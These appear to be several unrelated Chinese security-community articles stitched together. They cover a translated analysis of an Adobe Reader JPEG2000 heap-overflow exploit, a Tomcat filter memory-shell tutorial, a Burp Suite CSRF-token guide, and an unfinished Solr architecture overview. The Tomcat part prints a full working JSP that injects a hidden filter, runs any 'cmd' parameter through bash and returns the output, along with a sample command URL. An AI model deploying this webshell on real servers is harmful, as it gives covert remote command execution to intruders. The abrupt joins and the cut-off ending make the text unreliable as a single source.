原文链接：<https://www.zerodayinitiative.com/blog/2018/12/11/when-one-corruption-is-not-enough-analyzing-an-adobe-pwn2own-exploit>
坐在飞往温哥华的飞机上，这是我去[东京Pwn2Own](https://www.zerodayinitiative.com/blog/2018/11/14/pwn2own-tokyo-2018-day-two-results-and-master-of-pwn)的第一站,我决定打开笔记本分析我们之前在另一个Pwn2Own上收到的漏洞，屏幕上的JavaScript代码似乎吸引到了旁边座位的人，他问我这是JavaScript语言吗，我说是的。他问我是在读代码吗，我回复说我正在学习JavaScript，不得不说一定程度上这是一个挑衅的回答。完成一个函数的注释后，我合上笔记本准备休息一下。我想到了我刚才“我正在学习”的回复，我确实是在学习，不过我是在学习其他人在写漏洞利用时是如何思考的。
我准备分析的漏洞利用是360 Codesafe团队在2017年写的Adobe Reader
PDF的一个[漏洞利用](https://www.zerodayinitiative.com/advisories/ZDI-17-280/),选择分析这个exploit有几个原因：首先，它利用了JPEG2000解析过程中的一个堆溢出漏洞[(ZDI-17-280)](https://www.zerodayinitiative.com/advisories/ZDI-17-280/)，其次，它缺乏相关文档和注释。实际上，甚至用来触发或利用bug的JavaScript代码也没有被清楚地描述，我不得不从他们提供给我们的PDF漏洞中提取代码。最后一个理由，我是Adobe
Reader的超级粉丝，还不错吧。
在这篇博文中，我将介绍360利用Adobe
Reader中基于堆的缓冲区溢出漏洞的技术。在他们最初的提交中，他们使用了一个内核的漏洞来做沙箱逃逸，这篇文章对不会涉及内核漏洞部分，只关注Adobe
Reader相关部分
## 相关细节
我用来分析这个漏洞的Reader版本是2015.023.20070，可以从Adobe的FTP服务器上获取。
很明显，进行漏洞分析的第一步是从PDF中提取用于利用漏洞的JavaScript代码。这步操作有很多种方法可以实现，去编写一个Python脚本来达到目的并不是很复杂，额，实际上这个[脚本](https://gist.github.com/averagesecurityguy/ba8d9ed3c59c1deffbd1390dafa5a3c2)效果很好。如果你对脚本和Python不怎么感兴趣，你可以使用Foxit
Phantom PDF工具来提取。
提取代码结束后，我们就获得了超量的JavaScript代码，我尝试把shellcode剥离出来以增加可读性，代码由以下指令开始：
这里没什么特别的，设置了几个变量然后调用memory1函数，之后又设置了几个变量然后调用memory2。
那么memory1和memory2函数是什么东西呢，我们先来看看memory1：
该函数分配一个大小为len2的数组，并将第一个元素(我称之为标记元素)设置为0x11223344，之后用大小为len1的arraybuffer填充数组，最后进入另一个循环，在数组中delete一些元素，像是在数组上戳洞，看起来很像下面的场景：
在调试器里验证如下：
但是为什么要这么做呢？首先这是一个堆溢出漏洞，这样做的目的是为了设置堆以确保我们溢出的受攻击对象能被扔进一个戳过的洞中。在这个例子中，我们溢出了一个大小为0x1200的对象。
接下来看memory2：
我们先分析最明显的东西。它一开始获取一个对按钮的引用，如果成功，则循环遍历数组并开始填充之前戳出的一些洞。然后留下了一些未填充的洞。最后设置btt1.display为display.visible，调用memory3。
填充洞但保留一些洞不填充的目的是，确保被利用对象在分配时能够分配到其中一个洞里。在我看来，这个函数里最有趣的部分是“btt1.display =
display.visible”。为什么要这么做呢？
关于这个问题我不得不好好思考一会，得到的结果是，如果将icon设置为一个button，并且它最初的属性被设置为hidden，那么您可以强制通过JavaScript解析它——特别是在将button的display属性设置为display.visible时。所以实际上，他们所做的工作基本可以理解为，创建一个button对象，将一个icon附加到它上面(在本例中是JPEG2000图像)并将其设置为hidden。当display属性被设置为display.visible时，会发生以下情况：
1. 创建一个大小为0x1200的对象
2. 触发了溢出漏洞
这个漏洞最吸引人的地方在于，当它溢出到下一个块时，它会写一个可控的WORD类型的值。在我们的例子中，如果所有东西都对齐正确，它最终会覆盖下一个ArrayBuffer块的size。
为了能更清楚的说明这一点，这是ArrayBuffer对象的size被覆盖之前的情况：
在size被覆写之后：
由于这个bug允许我们用一个WORD值覆盖下一个临近的ArrayBuffer对象的长度，360团队的人认为这个值可以被修改到最大——0xFFFF。之后memory3函数被调用：
我们用0xFFFF覆写了byteLength，但是这并没有提供给我们太多的读或写的自由。这个函数根据被破坏的变量byteLength来循环遍历数组寻找ArrayBuffer对象，如果不为空就为它创建一个DataView对象。
之后发生了什么呢？他们利用这个被破坏了的ArrayBuffer的DataView对象，用一个更大的byteLength(0x77777777)去破坏下一个ArrayBuffer对象。
最后一个循环是找到新被破坏的ArrayBuffer并为它创建一个DataView对象。代码的其余部分主要是泄漏内存和使用新的DataView对象获得RCE。
综上所述：
1. 漏洞只被触发了一次。
2. 漏洞是在解析JPEG2000图像时触发。
3. 漏洞是过JavaScript触发的，具体来说是将图像作为按钮的图标附加上去，并且最初被设置为隐藏状态。
4. 按钮的显示模式被更改为visible，之后开始图像解析，并触发错误。
5. 他们分布了一堆大小为0x1200的数组缓冲区并且对其戳洞布局
6. 他们填补了一些洞，然后触发了这个bug。注意当bug被触发时，易受攻击的分配操作是在解析发生之前执行的。
7. 溢出漏洞允许用一个受控制的WORD类型值0xFFFF覆盖下一个块的size。
8. 这对于进行读或写操作来说还不够，所以它们使用损坏的块(大小0xFFFF)来损坏下一个块的大小使其为0x77777777。
9. 循环遍历数组中的元素，直到找到最新损坏的块并为其创建一个DataView，以使其具有读/写自由。
本文只覆盖了整个利用链的Adobe
Reader部分。早在2017年，该团队将堆溢出与Windows内核信息泄漏以及通过Windows内核中未初始化缓冲区得到的RCE结合在一起，赢得了5万美元。当然，Adobe在一段时间前[修复](https://helpx.adobe.com/security/products/acrobat/apsb17-11.html)了这个问题。尽管如此，我们至今仍能看到一些利用PDF的恶意软件在使用类似的技术，并且Acrobat和Reader仍然存在比较广泛的受攻击面。毫无疑问，对于我自己和提交漏洞给ZDI的安全研究人员来说，这仍然是一个值得投入的研究领域。
你可以关注我的Twitter[@AbdHariri](https://twitter.com/AbdHariri),或者关注我们的[团队](https://twitter.com/thezdi)以了解最新的漏洞利用技术和安全补丁。 | 社区文章 |
# Tomcat 内存马（二）Filter型
## 一、Tomcat处理请求
在前一个章节讲到，tomcat在处理请求时候，首先会经过连接器Coyote把request对象转换成ServletRequest后，传递给Catalina进行处理。
在Catalina中有四个关键的容器，分别为Engine、Host、Context、Wrapper。这四种容器成套娃式的分层结构设计。
接下来我们知道当tomcat接收到请求时候，依次会经过Listener -> Filter -> Servlet
其实我们也可以通过动态添加Filter来构成内存马，不过在此之前先了解下tomcat处理请求的逻辑
从上图中可以看到，请求到达Wrapper容器时候，会开始调用FilterChain，这个FilterChain就是若干个Filter组成的过滤器链。最后才会达到Servlet。只要把我们的恶意filter放入filterchain的第一个位置，就可以触发恶意filter中的方法。
## 二、Filter注册流程
要在FilterChain中加入恶意filter，首先要了解tomcat中Filter的注册流程
在上图中可以看到，Wrapper容器调用FilterChain的地方就在`StandardWrapperValve`类中
### 调试
注册一个filter：
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("filter初始化");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("doFilter过滤");
//放行
chain.doFilter(request,response);
}
@Override
public void destroy() {
System.out.println("filter销毁");
}
}
配置web.xml
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>test.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
在doFilter处下断点，访问任意url：<http://127.0.0.1:8080/xxx>
查看调用链
可以看到在`StandardWrapperValve#invoke`中，通过`createFilterChain`方法获得了一个`ApplicationFilterChain`类型的filterChain
其filterChain中存放了两个`ApplicationFilterConfig`类型的filter，其中第一个就是TestFilter
然后在下面196行调用了`ApplicationFilterChain#doFilter`
跟进`doFilter`方法，在方法中调用了`internalDoFilter`
跟进`internalDoFilter`后看到，从filters数组里面拿到了第一个filter即`Testfilter`
最后调用了`filter.doFilter`
可以看到，filter是从filters数组中拿到的，看看filters数组是什么，Ctrl+左击
其实就是一个`ApplicationFilterConfig`类型的对象数组，它的值也就是前面的说的通过`createFilterChain`方法获得的
接下来查看`createFilterChain`如何把我们写的TestFilter添加`ApplicationFilterConfig`的
跟进`ApplicationFilterFactory#createFilterChain`中，看到首先64行拿到了个`ServletRequest`，然后通过`ServletRequest#getFilterChain`获取到了filterChain
继续往下看，通过`StandardContext`对象找到了filterMaps[]
然后又通过filterMaps中的名字，找到`StandardContext`对象中的FilterConfig，最后把FilterConfig加入了filterChain中
跟进`filterChain.addFilter`看到，也就是加入了前面说的filters数组`ApplicationFilterConfig`中。这里和上面一步的操作就是遍历filter放入`ApplicationFilterConfig`
通过调试发现，有两个很重要的变量，filterMap和filterConfig
* filterMaps拿名字
* filterConfigs拿过滤器
其实这两个变量都是在`StandardContext`对象里面存放了，其中还有个变量filterDefs也是重要的变量
分析filterMaps、filterConfigs、filterDefs
### 1）filterMaps
既然这三个变量都是从`StandardContext`中获得，那么查看`StandardContext`发现有两个方法可以添加filterMap
### 2）filterConfigs
在`StandardContext`中同样寻找添加filterConfig值的地方，发现有一处`filterStart`方法
此处添加是在tomcat启动时完成，所以下好断点启动tomcat
`filterDefs`中存放着TestFilter
遍历这个`filterDefs`，拿到key为TestFilter，value为FilterDef对象，值test.Testfilter
接下来new了一个`ApplicationFilterConfig`，放入了value
然后把nam=TestFilter和filterConfig放入了filterConfigs
### 3）filterDefs
以上的filterDefs才是真正放了过滤器的地方，那么我们看下filterDefs在哪里被加入了
在`StandardContext`中同样有个`addFilterDef`方法
可以想到，tomcat是从web.xml中读取的filter，然后加入了filterMap和filterDef变量中，以下对应着这两个变量
### 内存马
我们通过控制filterMaps、filterConfigs、filterDefs的值，则可以注入恶意的filter
* filterMaps：一个HashMap对象，包含过滤器名字和URL映射
* filterDefs：一个HashMap对象，过滤器名字和过滤器实例的映射
* filterConfigs变量：一个ApplicationFilterConfig对象，里面存放了filterDefs
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "KpLi0rn";
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%>
访问：<http://127.0.0.1:8080/testF.jsp显示注入成功>
执行命令：<http://127.0.0.1:8080/?cmd=cat%20/etc/issue>
## 三、参考：
<http://wjlshare.com/archives/1529#0x04_Filter>
<http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/>
<https://www.cnblogs.com/nice0e3/p/14622879.html#0x03-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AE%9E%E7%8E%B0> | 社区文章 |
# 姿势1:CSRF Token Tracker
CSRF Token Tracker是个插件,可以在BApp Store下载安装
这种方式可以说是最简单的,但是不适用姿势2和姿势3中的案例
现有一个请求参数是user_token
只需要在插件中添加
注意这里有个坑(搞了好久)
比如你想在repeater模块测试一下重新发送请求会不会修改密码
发现返回的结果仍然是302
这里是需要有一个有效的,没有使用过的user_token去请求的!
然后再去重放请求包就都会自动更新token了
总结一句就是你第一次用有效的token重放请求包就永远有效(自动更新token了)
你第一次用无效的token重放请求包就永远无效
# 姿势2:定义宏
在这个案例中使用CSRF Token Tracker无法成功自动更新token
开始定义宏
一路OK回到这里
不懂就选择1,在所有请求前都运行宏
来到repeater模块重新发送请求就不会说非法的csrftoken
来看日志发生了什么
我们使用repeater重放了登录的请求,也就是图中第71个请求
宏帮我们自动进行了了第70个请求获取了新的token让第71个带着新的token去登录
# 姿势3:宏+Extractor
在这个案例中前两种姿势均无效
下载安装插件
先看下两个请求包
第一个请求包就是获取token的
第二个就是带着token去访问
看过这两个请求包应该就明白了
这次token是在请求头中
而定义宏的时候会让你选择更新token的地方
这个地方却没有更新请求头的功能
所以姿势2在这里就失效了
首先定义宏获取token
这个宏只需要要确保在请求2之前会执行请求1
相比于姿势2的步骤简单一点
到这里宏就配置好了
在repeater重放请求2然后再logger+=里面查看
确保每次都会在请求2前自动执行请求1就是正常的
然后配置插件Extractor
把两个请求包都发送到Extractor
此时回到repeater模块重放发现token就有效了
再次回到logger++看发生了什么
看到第87个请求获取的token值为407667d008b147199d174681a655aea0
第88个请求包的accessToken值也是407667d008b147199d174681a655aea0
总结一下姿势3的思路
宏负责在请求2前发送请求1
Extractor插件负责匹配和替换token | 社区文章 |
#
# 一、组件概述
## 1.关键词
企业级全文检索服务器、基于Lucene
## 2.一些名词
### **(1) 数据**
结构化数据，与非结构化数据
结构化数据： 用表、字段表示的数据 数据库适合结构化数据的精确查询
半结构化数据： xml 、html
非结构化数据： 文本、文档、图片、音频、视频等
### **(2)**** Document**
被索引的对象，索引、搜索的基本单元，一个Document由多个字段Field构成
Field
字段名name
字段值value
字段类型type FieldType(这个fieldtype也有很多属性主要两个是name 以及 class
用来存放该类型值的类名)，Field中包含分析器(Analyzer)、过滤器(Filter)
### **(3) 索引**
对列值创建排序存储，数据结构={列值、行地址} ，Luncene或者说Solr的索引的创建过程其实就是分词、存储到反向索引中
输入的是苍老师，想要得到标题或内容中包含“苍老师”的新闻列表
### **(4) 搜索引擎**
区别于关系数据库搜索引擎专门解决 **大量结构化、半结构化数据、非结构化文本类数据的实时检索** 问题。 这种类型的搜索实时搜索数据库做不了。
### **(5) 搜索引擎工作原理**
1、从数据源加载数据，分词、建立反向索引
2、搜索时，对搜索输入进行分词，查找反向索引
3、计算相关性，排序，输出
### **(5) zookeeper**
zk是分布式系统中的一项协调服务。solr将zk用于三个关键操作：
1、集中化配置存储和分发
2、检测和提醒集群的状态改变
3、确定分片代表
### **(7) Lucene**
一套可对大量 **结构化、半结构化数据、非结构化文本类数据进行实时搜索**
的专门软件。最早应用于信息检索领域，经谷歌、百度等公司推出网页搜索而为大众广知。后又被各大电商网站采用来做网站的商品搜索。现广泛应用于各行业、互联网应用。
核心构成： **数据源(存储的数据)、分词器(英文比较容易，中文两个常用的
IKAnalyzer、mmseg4j主谓宾等)、反向索引（倒排索引）、相关性计算模型(例如 出现次数这个算简单的，复杂点的
可能就会加上权重，搜索引擎会提供一种或者多种)**
### **(8) Solr中的Core**
运行在Solr服务器中的具体唯一命名的、可管理、可配置的索引，一台Solr可以托管一个或多个索引。solr的内核是运行在solr服务器中具有唯一命名的、可管理和可配置的索引。一台solr服务器可以托管一个或多个内核。
**内核的典型用途是区分不同模式(具有不同字段、不同的处理方式)的文档** 。
内核就是索引，为什么需要多个？因为不同的文档拥有不同的模式（字段构成、索引、存储方式），商品数据和新闻数据就是两类完全不同的数据，这就需要两个内核来索引、存储它们。
每个内核都有一个 内核实例存放目录、内核索引数据存放目录、内核配置文件(solrconfig.xml)、内核模式文件(schema.xml)
### **(9) Solr中的schema**
包含整个架构以及字段和字段类型。用来告诉solr，被索引的文档由哪些Field组成。让solr知道集合/内核包含哪些字段、字段的数据类型、字段该索引存储。
conf/managed-schema 或者 schema.xml
### **(10) solrconfig.xml**
此文件包含与请求处理和响应格式相关的定义和特定于核心的配置，以及索引，配置，管理内存和进行提交。内核配置文件，这个是影响Solr本身参数最多的配置文件。索引数据的存放位置，更新，删除，查询的一些规则配置
### **(11) collection 集合**
一个集合由一个或多个核心(分片)组成，SolrCloud引入了集合的概念，集合将索引扩展成不同的分片然后分配到多台服务器，分布式索引的每个分片都被托管在一个solr的内核中(一个内核对应一个分片呗)。提起SolrCloud，更应该从分片的角度，不应该谈及内核。
### **(12) Solr.xml**
它是$ SOLR_HOME目录中包含Solr Cloud相关信息的文件。 要加载核心，Solr会引用此文件，这有助于识别它们。solr.xml
文件定义了适用于全部或多个内核的全局配置选项
### **(13) core.properties**
代表一个核心，为每个核心定义特定的属性，例如其名称、核心所属的集合、模式的位置以及其他参数
### **(14) Solr配置集 configset**
用于实现多个不同内核之间的配置共享
### **(15) requestHandler(solrconfig.xml)**
请求处理程序，定义了solr接收到请求后该做什么操作。
Solr中处理外部数据都是通过http请求，对外提供http服务，每类服务在solr中都有对应的request
handler接收处理数据，solr中有定义了很多内置的请求处理程序，但是我们也可以自己定义，在conf/solrconfig.xml中配置
在 conf/solrconfig.xml中，requestHandler的配置就像我们在web.xml中配置servlet-mapping（或spring
mvc 中配置controller 的requestMap）一样：配置该集合/内核下某个请求地址的处理类
示例`<requestHandler name=“/update" class="solr.UpdateRequestHandler" />`
### (16) Solr中的 文档、字段、字段分析、模式、分析器、标记器、过滤器
参阅中文文档
[https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html](https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html?fileGuid=It0Qkg2AiecFMx62)
[https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html](https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html?fileGuid=It0Qkg2AiecFMx62)
## 3.几个重要配置文件的详解
### 1.Solr.xml
在独立模式下，solr.xml必须驻留在solr_home(server/solr)。在SolrCloud模式下，将从ZooKeeper加载solr.xml（如果它存在），回退到solr_home。
solr.xml 文件定义了适用于全部或多个内核的全局配置选项。
**`<solr>`标签是根元素**
* adminHandler 属性，solr默认使用org.apache.solr.handler.admin.CoreAdminHandler
* collectionsHandler 自定义CollectingHandler的实现
* infoHandler 自定义infoHandler实现
* coreLoader 指定分配给此内核的线程数
* coreRootDirectory 指定$SOLR_HOME
* sharedLib 所有内核共享公共库目录 此目录任何jar文件都将被添加到Solr插件的搜索路径中
* shareSchema 此属性为true的情况下，共享IndexSchema对象
* configSetBaseDir 指定configSets目录 默认为$SOLR_HOME/configsets
**`<solrcloud>` 定义了与SolrCloud相关的参数**
* distribUpdateConnTimeout 设置集群的connTimeout
* distribUpdateSoTimeout 设置集群的socketTime'out
* host 设置访问主机名称
* hostContext url上下文路径
* hostPort 端口
* zkClientTimeout 连接到ZookKeeper服务器的超时时间
**``` <logging>````</logging>**
* class 属性 用于记录的class类，相应的jar必须存在
* enable 是否启用日志功能
**`<shardHandlerFactory>`分片相关**
**`<metrics>` 报告相关**
### 2.core.properties
简单的key=value，可以这么理解，一个core.properties 就代表一个core，允许即时创建，而不用重启Solr,配置文件包含以下属性：
* name core的名称
* config core的配置文件名称 默认为solrconfig.xml
* schema 核心架构文件名称 默认为schema.xml
* dataDir core的数据目录 可以是据对路径 也可以是相对于instanceDir的路径
* configSet configset可用于配置内核
* properties 这个core的文件名称 可以是绝对路径也可以是相对路径
* loadOnstartup true Solr启动时，会加载这个核心
* ulogDir 日志的路径
* collection 是SolrCloud的一部分
### 3.Schema.xml
略
### 4.Solrconfig.xml
这个文件可以说，在功能上包含了一个core处理的全部配置信息
* <luceneMatchVersion> 指定Luncene版本
* <dataDir> core的data目录 存放当前core的idnex索引文件和tlog事务日志文件
* <directoryFactory> 索引存储工厂 配置了一些存储时的参数 线程等
* <codeFactory> 编解码方式
* <indexConfig> 配置索引属性，主要与Luncene创建索引的一些参数，文档字段最大长度、生成索引时INdexWriter可使用最大线程数、Luncene是否允许文件整合、buffer大小、指定Lucene使用哪个LockFactory等
* <updateHander> 更新处理器 更新增加Document时的update对应什么处理动作在这里配置，在这里也可以自定义更新处理器
* 以及查询的相关配置
* <requestDispatcher> 请求转发器 自定义增加在这里配置
* <requestParses> 请求解析器 配置solr的请求解析行为
* <requestHandler> 请求处理器 solr通过requestHandler提供webservice功能，通过http请求对索引进行访问 可以自定义增加，在这里配置
## 4.概述
建立在Lucene-core之上，Luncene是一个全文检索的工具包，它不是一个完整的引擎，Solr将它打包成了一个完整的引擎服务，并对外开放基于http请求的服务以及各种API，还有一个后台管理界面。所以，它既然是基于Luncene的，所以他的核心功能逻辑就应该和Luncene一样，给它一个Docunment，Solr进行分词以及查找反向索引，然后排序输出。
**Solr
的基本前提很简单。您给它很多的信息，然后你可以问它的问题，找到你想要的信息。您在所有信息中提供的内容称为索引或更新。当你问一个问题时，它被称为查询。**
在一些大型门户网站、电子商务网站等都需要站内搜索功能，使用传统的数据库查询方式实现搜索无法满足一些高级的搜索需求，比如：搜索速度要快、搜索结果按相关度排序、搜索内容格式不固定等，这里就需要使用全文检索技术实现搜索功能。
Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发，主要基于 HTTP 和 Apache Lucene 实现。Lucene
是一个全文检索引擎工具包，它是一个 jar 包，不能独立运行，对外提供服务。Apache Solr 中存储的资源是以 Document
为对象进行存储的。NoSQL特性和丰富的文档处理（例如Word和PDF文件）。每个文档由一系列的 Field 构成，每个 Field
表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性，默认情况下这个属性的名字是 id，在 Schema
配置文件中使用：<uniquekey>id</uniquekey>进行描述。
Solr是一个独立的企业级搜索应用服务器，目前很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。
Solr可以独立运行，打包成一个war。运行在Jetty、Tomcat等这些Servlet容器中，Solr索引的实现方法很简单，用 POST
方法向Solr服务器 发送一个描述
Field 及其内容的XML文档，Solr根据xml文档添加、删除、更新索引。Solr搜索只需要发送HTTP GET 请求，然后对 Solr
返回Xml、Json等格式的查询结果进行解析，组织页面布局。Solr不提供构建UI的功能，Solr提供了一个管理界面，通过管理界面可以查询Solr的配置和运行情况。
中文文档：[https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html](https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html?fileGuid=It0Qkg2AiecFMx62)
## 3.使用范围及行业分布
* 业界两个最流行的开源搜索引擎，Solr和ElasticSearch。Solr是Apache下的一个顶级开源项目。不少互联网巨头，如Netflix，eBay，Instagram和Amazon（CloudSearch）均使用Solr。
* fofa搜索公网资产 一万 app="APACHE-Solr"
* GitHub Star数量 3.8k
## 4.重点产品特性
默认全局未授权，多部署于内网，内置zk服务
不可自动升级，需要手动升级修复漏洞
# 二、环境搭建、动态调试
Solr 所有版本下载地址 <http://archive.apache.org/dist/lucene/solr/>
## 1.sorl-4.2.0 环境搭建
### 1.1 环境搭建
下载solr-4.2.0.zip文件，解压，C:\Solr\solr-4.2.0\example\start.jar 启动
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y
-jar start.jar
### 1.2 动态调试
新建idea项目
讲solr目录下所有jar包导入 lib目录下 add as library
配置远程调试
断点成功停住
当然也可以下载solr源码，idea直接打开，配置Remote，远程调试，看源码总是正规的嘛
## 2.Solr较高版本
### 2.1 环境搭建
大体同上，只不过启动时，没有了start.jar 改为bin目录下的solr.bat
./solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
solr.cmd start -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
PS:这里注意一点，需要jdk8及以上 以及 **solr.cmd -f -e dih** 加载example 然后solr stop -p 8983
再启动，加上 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 要不然漏洞复现不出来
solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-8.6.3\example\example-DIH\solr"
### 2.2 动态调试
下载源码，配置Remote即可
2.3 PS Cloud模式下的 debug
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
调试solr的启动过程
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar --module=http
创建一个新的核心
在此感谢Whippet师傅！
# 三、源码分析
## 1.Apache Solr架构
### (1) Request Handler
Solr 用来处理http请求处理程序的模块，无论是api又或者是web前台的，这也是我们漏洞挖掘时需要主要关注的部分
### (2) Search Component
Solr的搜索组件，提供搜索功能服务。
### (3) Query Parser
Solr查询解析器解析我们传递给Solr的查询，并验证查询是否存在语法错误。 解析查询后，它会将它们转换为Lucene理解的格式。
### (4) Response Writer
Solr处理响应的功能模块，是为用户查询生成格式化输出的组件。Solr支持XML，JSON，CSV等响应格式。对于每种类型的响应，都有不同的响应编写器。
### (5) Analyzer / tokenizer
Lucene以令牌的形式识别数据。 Apache Solr分析内容，将其划分为令牌，并将这些令牌传递给Lucene。Apache
Solr中的分析器检查字段文本并生成令牌流。标记生成器将分析器准备的标记流分解为标记。
### (6) Update Request Processor
每当我们向Apache Solr发送更新请求时，请求都通过一组插件（签名，日志记录，索引）运行，统称为 更新请求处理器
。此处理器负责修改，例如删除字段，添加字段等
## 2.目录结构
### 1.运行目录结构
├─bin大量的Solr控制台管理工具存在该目录下
├─contrib包含大量关于Solr的扩展
│ ├─analysis-extras该目录下面包含一些相互依赖的文本分析组件
│ ├─clustering该目录下有一个用于集群检索结果的引擎
│ ├─dataimporthandlerDIH组件，该组件可以从数据库或者其他数据源导入数据到Solr中
│ ├─dataimporthandler-extras包含了对DIH的扩展
│ ├─extraction集成Apache Tika，用于从普通格式文件中提取文本
│ ├─jaegertracer-configurator
│ ├─langid该组件使得Solr拥有在建索引之前识别和检测文档语言的能力
│ ├─ltr
│ ├─prometheus-exporter
│ └─velocity包含一个基于Velocity模板语言简单检索UI框架
├─distSolr的核心JAR包和扩展JAR包。当我们试图把Solr嵌入到某个应用程序的时候会用到核心JAR包。
│ ├─solrj-lib包含构建基于Solr的客户端时会用到的JAR包
│ └─test-framework包含测试Solr时候会用到的JAR包
├─docsSolr文档
├─exampleSolr的简单示例
│ ├─cloud
│ ├─example-DIH
│ ├─exampledocs
│ ├─files
│ └─films
├─licenses各种许可和协议
└─server本地把Solr作为服务运行的必要文件都存放在这里
├─contexts启动Solr的Jetty网页的上下文配置
├─etcJetty服务器配置文件，在这里可以把默认的8983端口改成其他的
├─libJetty服务器程序对应的可执行JAR包和响应的依赖包
│ └─ext
├─logs日志将被输出到这个文件夹
├─moduleshttp\https\server\ssl等配置模块
├─resources存放着Log4j的配置文件
├─scriptsSolr运行的必要脚本
│ └─cloud-scripts
├─solr运行Solr的配置文件都保存在这里。solr.xml文件，提供全方位的配置；zoo.cfg文件，使用SolrCloud的时候有用。子文件夹/configsets存放着Solr的示例配置文件。各个生成的core也放在这里
以及configsets等
│ ├─.system_shard1_replica_n1
│ ├─aaa_shard1_replica_n1
│ ├─configsets
│ │ ├─sample_techproducts_configs
│ ├─filestore
│ ├─userfiles
│ └─zoo_data
│ └─version-2
├─solr-webapp管理界面的站点就存放在这里
│ └─webapp
│ └─WEB-INF
└─tmp存放临时文件
├─jetty-0_0_0_0-8983-webapp-_solr-any-7904109470622189110.dir
### 2.Solr Home目录结构
单例模式下
<solr-home-directory>
solr.xml
core_name1/
core.properties
conf/
solrconfig.xml
managed-schema
data/
core_name2/
core.properties
conf/
solrconfig.xml
managed-schema
data/
colud模式下
<solr-home-directory>/
solr.xml
core_name1/
core.properties
data/
core_name2/
core.properties
data/
## 3.源码结构
├─binSolr控制台管理工具存在该目录下
├─contrib包含大量关于Solr的扩展 同安装目录中一样
├─corecore的核心
│ └─src
│ ├─java.org.apache.solr
│ │ ├─analysis文本分析处理类，其中没有很多核心实现，主要调用了lucene重点的核心功能
│ │ ├─apiSolr对外提供给的API(两个版本)处理包
│ │ ├─client.solrj.embeddedSolr中嵌入了jetty，这里存在Jetty的配置类以及嵌入式启动类
│ │ ├─cloudSolr在cloud模式下云的的相关处理包，包含zk相关的处理类
│ │ ├─corecore相关的处理包 solrcore solrinfo CoreDescriptor等
│ │ ├─filestore文件处理包
│ │ ├─handler请求程序处理包
│ │ │ ├─admin
│ │ │ ├─component
│ │ │ ├─export
│ │ │ ├─loader
│ │ │ ├─sql
│ │ │ └─tagger
│ │ ├─highlight solr高亮功能包
│ │ ├─index
│ │ ├─internal
│ │ ├─legacy
│ │ ├─logging日志功能处理包
